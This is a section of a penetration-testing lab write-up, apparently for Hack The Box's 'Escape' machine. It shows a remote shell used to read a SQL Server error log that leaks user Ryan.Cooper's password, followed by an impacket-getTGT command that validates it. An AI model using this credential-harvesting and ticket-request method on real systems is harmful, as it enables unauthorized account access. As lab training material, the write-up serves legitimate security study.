MSSQL_Log
After performing some basic enumeration, I stumbled upon an interesting directory at the system root
*evil-winrm* ps c:\> dir
directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/1/2023 8:15 PM PerfLogs
d-r--- 2/6/2023 12:08 PM Program Files
d----- 11/19/2022 3:51 AM Program Files (x86)
d----- 11/19/2022 3:51 AM Public
d----- 2/1/2023 1:02 PM SQLServer
d-r--- 2/1/2023 1:55 PM Users
d----- 2/6/2023 7:21 AM Windowswhile the c:\Public directory must be the SMB share, there is the C:\SQLServer directory
*evil-winrm* ps c:\> cd SQLServer ; ls
directory: C:\SQLServer
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/7/2023 8:06 AM Logs
d----- 11/18/2022 1:37 PM SQLEXPR_2019
-a---- 11/18/2022 1:35 PM 6379936 sqlexpress.exe
-a---- 11/18/2022 1:36 PM 268090448 SQLEXPR_x64_ENU.exeIt appears to be the installation directory for the SQL instance I will check the Logs directory
*evil-winrm* ps c:\SQLServer> cd Logs ; ls
directory: C:\SQLServer\Logs
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/7/2023 8:06 AM 27608 ERRORLOG.BAKThis appears to be a log file for error
*evil-winrm* ps c:\SQLServer\Logs> cat ERRORLOG.BAK
2022-11-18 13:43:05.96 Server Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
sep 24 2019 13:48:23
Copyright (C) 2019 Microsoft Corporation
express edition (64-bit) on windows server 2019 standard evaluation 10.0 <x64> (build 17763: ) (Hypervisor)
2022-11-18 13:43:05.97 Server UTC adjustment: -8:00
2022-11-18 13:43:05.97 Server (c) Microsoft Corporation.
2022-11-18 13:43:05.97 Server All rights reserved.
2022-11-18 13:43:05.97 Server Server process ID is 3788.
2022-11-18 13:43:05.97 Server System Manufacturer: 'VMware, Inc.', System Model: 'VMware7,1'.
2022-11-18 13:43:05.97 Server Authentication mode is MIXED.
2022-11-18 13:43:05.97 Server Logging SQL Server messages in file 'C:\Program Files\Microsoft SQL Server\MSSQL15.SQLMOCK\MSSQL\Log\ERRORLOG'.
2022-11-18 13:43:05.97 Server The service account is 'NT Service\MSSQL$SQLMOCK'. This is an informational message; no user action is required.
2022-11-18 13:43:05.97 Server Registry startup parameters:
-d c:\Program Files\Microsoft SQL Server\MSSQL15.SQLMOCK\MSSQL\DATA\master.mdf
-e c:\Program Files\Microsoft SQL Server\MSSQL15.SQLMOCK\MSSQL\Log\ERRORLOG
-l c:\Program Files\Microsoft SQL Server\MSSQL15.SQLMOCK\MSSQL\DATA\mastlog.ldf
2022-11-18 13:43:05.97 Server Command Line Startup Parameters:
-s "SQLMOCK"
-m "SqlSetup"
-Q
-q "SQL_Latin1_General_CP1_CI_AS"
-T 4022
-T 4010
-T 3659
-T 3610
-T 8015
2022-11-18 13:43:05.97 Server SQL Server detected 1 sockets with 1 cores per socket and 1 logical processors per socket, 1 total logical processors; using 1 logical processors based on SQL Server licensing. This is an informational message; no user action is required.
2022-11-18 13:43:05.97 Server SQL Server is starting at normal priority base (=7). This is an informational message only. No user action is required.
2022-11-18 13:43:05.97 Server Detected 2046 MB of RAM. This is an informational message; no user action is required.
2022-11-18 13:43:05.97 Server Using conventional memory in the memory manager.
2022-11-18 13:43:05.97 Server Page exclusion bitmap is enabled.
2022-11-18 13:43:05.98 Server Buffer Pool: Allocating 262144 bytes for 166158 hashPages.
2022-11-18 13:43:06.01 Server Default collation: SQL_Latin1_General_CP1_CI_AS (us_english 1033)
2022-11-18 13:43:06.04 Server Buffer pool extension is already disabled. No action is necessary.
2022-11-18 13:43:06.06 Server Perfmon counters for resource governor pools and groups failed to initialize and are disabled.
2022-11-18 13:43:06.07 Server Query Store settings initialized with enabled = 1,
2022-11-18 13:43:06.07 Server This instance of SQL Server last reported using a process ID of 5116 at 11/18/2022 1:43:04 PM (local) 11/18/2022 9:43:04 PM (UTC). This is an informational message only; no user action is required.
2022-11-18 13:43:06.07 Server Node configuration: node 0: CPU mask: 0x0000000000000001:0 Active CPU mask: 0x0000000000000001:0. This message provides a description of the NUMA configuration for this computer. This is an informational message only. No user action is required.
2022-11-18 13:43:06.07 Server Using dynamic lock allocation. Initial allocation of 2500 Lock blocks and 5000 Lock Owner blocks per node. This is an informational message only. No user action is required.
2022-11-18 13:43:06.08 Server In-Memory OLTP initialized on lowend machine.
2022-11-18 13:43:06.08 Server The maximum number of dedicated administrator connections for this instance is '1'
2022-11-18 13:43:06.09 Server [INFO] Created Extended Events session 'hkenginexesession'
2022-11-18 13:43:06.09 Server Database Instant File Initialization: disabled. For security and performance considerations see the topic 'Database Instant File Initialization' in SQL Server Books Online. This is an informational message only. No user action is required.
2022-11-18 13:43:06.10 Server CLR version v4.0.30319 loaded.
2022-11-18 13:43:06.10 Server Total Log Writer threads: 1. This is an informational message; no user action is required.
2022-11-18 13:43:06.13 Server Database Mirroring Transport is disabled in the endpoint configuration.
2022-11-18 13:43:06.13 Server clflushopt is selected for pmem flush operation.
2022-11-18 13:43:06.14 Server Software Usage Metrics is disabled.
2022-11-18 13:43:06.14 spid9s Warning ******************
2022-11-18 13:43:06.36 spid9s SQL Server started in single-user mode. This an informational message only. No user action is required.
2022-11-18 13:43:06.36 Server Common language runtime (CLR) functionality initialized using CLR version v4.0.30319 from C:\Windows\Microsoft.NET\Framework64\v4.0.30319\.
2022-11-18 13:43:06.37 spid9s Starting up database 'master'.
2022-11-18 13:43:06.38 spid9s The tail of the log for database master is being rewritten to match the new sector size of 4096 bytes. 2048 bytes at offset 419840 in file C:\Program Files\Microsoft SQL Server\MSSQL15.SQLMOCK\MSSQL\DATA\mastlog.ldf will be written.
2022-11-18 13:43:06.39 spid9s Converting database 'master' from version 897 to the current version 904.
2022-11-18 13:43:06.39 spid9s Database 'master' running the upgrade step from version 897 to version 898.
2022-11-18 13:43:06.40 spid9s Database 'master' running the upgrade step from version 898 to version 899.
2022-11-18 13:43:06.41 spid9s Database 'master' running the upgrade step from version 899 to version 900.
2022-11-18 13:43:06.41 spid9s Database 'master' running the upgrade step from version 900 to version 901.
2022-11-18 13:43:06.41 spid9s Database 'master' running the upgrade step from version 901 to version 902.
2022-11-18 13:43:06.52 spid9s Database 'master' running the upgrade step from version 902 to version 903.
2022-11-18 13:43:06.52 spid9s Database 'master' running the upgrade step from version 903 to version 904.
2022-11-18 13:43:06.72 spid9s SQL Server Audit is starting the audits. This is an informational message. No user action is required.
2022-11-18 13:43:06.72 spid9s SQL Server Audit has started the audits. This is an informational message. No user action is required.
2022-11-18 13:43:06.74 spid9s SQL Trace ID 1 was started by login "sa".
2022-11-18 13:43:06.74 spid9s Server name is 'DC\SQLMOCK'. This is an informational message only. No user action is required.
2022-11-18 13:43:06.75 spid14s Starting up database 'mssqlsystemresource'.
2022-11-18 13:43:06.75 spid9s Starting up database 'msdb'.
2022-11-18 13:43:06.75 spid18s Password policy update was successful.
2022-11-18 13:43:06.76 spid14s The resource database build version is 15.00.2000. This is an informational message only. No user action is required.
2022-11-18 13:43:06.78 spid9s The tail of the log for database msdb is being rewritten to match the new sector size of 4096 bytes. 3072 bytes at offset 50176 in file C:\Program Files\Microsoft SQL Server\MSSQL15.SQLMOCK\MSSQL\DATA\MSDBLog.ldf will be written.
2022-11-18 13:43:06.78 spid9s Converting database 'msdb' from version 897 to the current version 904.
2022-11-18 13:43:06.78 spid9s Database 'msdb' running the upgrade step from version 897 to version 898.
2022-11-18 13:43:06.79 spid14s Starting up database 'model'.
2022-11-18 13:43:06.79 spid9s Database 'msdb' running the upgrade step from version 898 to version 899.
2022-11-18 13:43:06.80 spid14s The tail of the log for database model is being rewritten to match the new sector size of 4096 bytes. 512 bytes at offset 73216 in file C:\Program Files\Microsoft SQL Server\MSSQL15.SQLMOCK\MSSQL\DATA\modellog.ldf will be written.
2022-11-18 13:43:06.80 spid9s Database 'msdb' running the upgrade step from version 899 to version 900.
2022-11-18 13:43:06.81 spid14s Converting database 'model' from version 897 to the current version 904.
2022-11-18 13:43:06.81 spid14s Database 'model' running the upgrade step from version 897 to version 898.
2022-11-18 13:43:06.81 spid9s Database 'msdb' running the upgrade step from version 900 to version 901.
2022-11-18 13:43:06.81 spid14s Database 'model' running the upgrade step from version 898 to version 899.
2022-11-18 13:43:06.81 spid9s Database 'msdb' running the upgrade step from version 901 to version 902.
2022-11-18 13:43:06.82 spid14s Database 'model' running the upgrade step from version 899 to version 900.
2022-11-18 13:43:06.88 spid18s A self-generated certificate was successfully loaded for encryption.
2022-11-18 13:43:06.88 spid18s Server local connection provider is ready to accept connection on [ \\.\pipe\SQLLocal\SQLMOCK ].
2022-11-18 13:43:06.88 spid18s Dedicated administrator connection support was not started because it is disabled on this edition of SQL Server. If you want to use a dedicated administrator connection, restart SQL Server using the trace flag 7806. This is an informational message only. No user action is required.
2022-11-18 13:43:06.88 spid18s SQL Server is now ready for client connections. This is an informational message; no user action is required.
2022-11-18 13:43:06.88 Server SQL Server is attempting to register a Service Principal Name (SPN) for the SQL Server service. Kerberos authentication will not be possible until a SPN is registered for the SQL Server service. This is an informational message. No user action is required.
2022-11-18 13:43:06.88 spid14s Database 'model' running the upgrade step from version 900 to version 901.
2022-11-18 13:43:06.89 Server The SQL Server Network Interface library could not register the Service Principal Name (SPN) [ MSSQLSvc/dc.sequel.htb:SQLMOCK ] for the SQL Server service. Windows return code: 0x2098, state: 15. Failure to register a SPN might cause integrated authentication to use NTLM instead of Kerberos. This is an informational message. Further action is only required if Kerberos authentication is required by authentication policies and if the SPN has not been manually registered.
2022-11-18 13:43:06.89 spid14s Database 'model' running the upgrade step from version 901 to version 902.
2022-11-18 13:43:06.89 spid14s Database 'model' running the upgrade step from version 902 to version 903.
2022-11-18 13:43:06.89 spid14s Database 'model' running the upgrade step from version 903 to version 904.
2022-11-18 13:43:07.00 spid14s Clearing tempdb database.
2022-11-18 13:43:07.06 spid14s Starting up database 'tempdb'.
2022-11-18 13:43:07.17 spid9s Database 'msdb' running the upgrade step from version 902 to version 903.
2022-11-18 13:43:07.17 spid9s Database 'msdb' running the upgrade step from version 903 to version 904.
2022-11-18 13:43:07.29 spid9s Recovery is complete. This is an informational message only. No user action is required.
2022-11-18 13:43:07.30 spid51 Changed database context to 'master'.
2022-11-18 13:43:07.30 spid51 Changed language setting to us_english.
2022-11-18 13:43:07.33 spid51 Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
2022-11-18 13:43:07.34 spid51 Configuration option 'default language' changed from 0 to 0. Run the RECONFIGURE statement to install.
2022-11-18 13:43:07.34 spid51 Configuration option 'default full-text language' changed from 1033 to 1033. Run the RECONFIGURE statement to install.
2022-11-18 13:43:07.34 spid51 Configuration option 'show advanced options' changed from 1 to 0. Run the RECONFIGURE statement to install.
2022-11-18 13:43:07.39 spid51 Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
2022-11-18 13:43:07.39 spid51 Configuration option 'user instances enabled' changed from 1 to 1. Run the RECONFIGURE statement to install.
2022-11-18 13:43:07.39 spid51 Configuration option 'show advanced options' changed from 1 to 0. Run the RECONFIGURE statement to install.
2022-11-18 13:43:07.44 spid51 Changed database context to 'master'.
2022-11-18 13:43:07.44 spid51 Changed language setting to us_english.
2022-11-18 13:43:07.44 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.72 spid51 Attempting to load library 'xpstar.dll' into memory. This is an informational message only. No user action is required.
2022-11-18 13:43:07.76 spid51 Using 'xpstar.dll' version '2019.150.2000' to execute extended stored procedure 'xp_sqlagent_is_starting'. This is an informational message only; no user action is required.
2022-11-18 13:43:08.24 spid51 Changed database context to 'master'.
2022-11-18 13:43:08.24 spid51 Changed language setting to us_english.
2022-11-18 13:43:09.29 spid9s SQL Server is terminating in response to a 'stop' request from Service Control Manager. This is an informational message only. No user action is required.
2022-11-18 13:43:09.31 spid9s .NET Framework runtime has been stopped.
2022-11-18 13:43:09.43 spid9s SQL Trace was stopped due to server shutdown. Trace ID = '1'. This is an informational message only; no user action is required.The log appears to be an SQL Server error log. It contains information about the startup and operation of a Microsoft SQL Server instance. This specific log shows the version, configuration, system details, authentication settings, and various events related to the SQL Server instance.
It also captured authentication attempts for the Ryan.Cooper user who appears to have entered the credential in the wrong fields.
NuclearMosquito3 could be the password for the Ryan.Cooper user. I will test it out
Validation
┌──(kali㉿kali)-[~/archive/htb/labs/escape]
└─$ impacket-getTGT sequel.htb/Ryan.Cooper:NuclearMosquito3 -dc-ip $IP
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Saving ticket in Ryan.Cooper.ccacheValidated. It was indeed the password